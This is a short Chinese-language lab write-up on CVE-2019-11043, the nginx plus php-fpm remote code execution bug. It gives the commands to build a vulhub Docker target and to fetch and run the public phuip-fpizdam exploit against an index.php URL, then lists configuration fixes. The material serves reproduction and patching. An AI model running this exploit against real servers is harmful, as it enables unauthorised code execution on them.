1.php-fpm漏洞详情
- 当nginx使用特定的fastcgi配置的时候,就会存在远程代码执行漏洞,但是这个配置并不是默认配置
fastcgi_split_path_info
字段配置为^(.+?\.php)(/.*)$;
时,攻击者可以通过精心构造playload造成远程代码执行,改配置已经被广泛使用,危害较大。
2.复现
- 安装docker环境
git clone https://github.com/vulhub/vulhub.git
2.进入目录 /vulhub/vulhub/tree/master/php/CVE-2019-11043并运行安装环境
docker-compose up -d
- 查看镜像
docker images
- 查看环境:http:ip:8080
- 下载exp,安装go环境
git clone https://github.com/neex/phuip-fpizdam.git
wget -c https://storage.googleapis.com/golang/go1.13.3.linux-amd64.tar.gz
//解压到/usr/local目录
tar -C /usr/local/ -xzf go1.13.3.linux-amd64.tar.gz
- 编辑/etc/profile,在文件最后添加
export PATH=$PATH:/usr/local/go/bin
,执行source /etc/profile
- 获取工具:
go get github.com/neex/phuip-fpizdam
- 执行exp:
./phuip-fpizdam http://ip/index.php
在/tmp/写入文件a
- 在docker中进入镜像环境,查看tmp的目录
- 查看效果:
3.修复
-
修改nginx配置文件中fastcgi_split_path_info的正则表达式,不允许.php之后传入不可显字符
-
暂停使用 nginx+php-fpm 服务
- 根据实际生产环境的业务需求,将以下配置删除
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;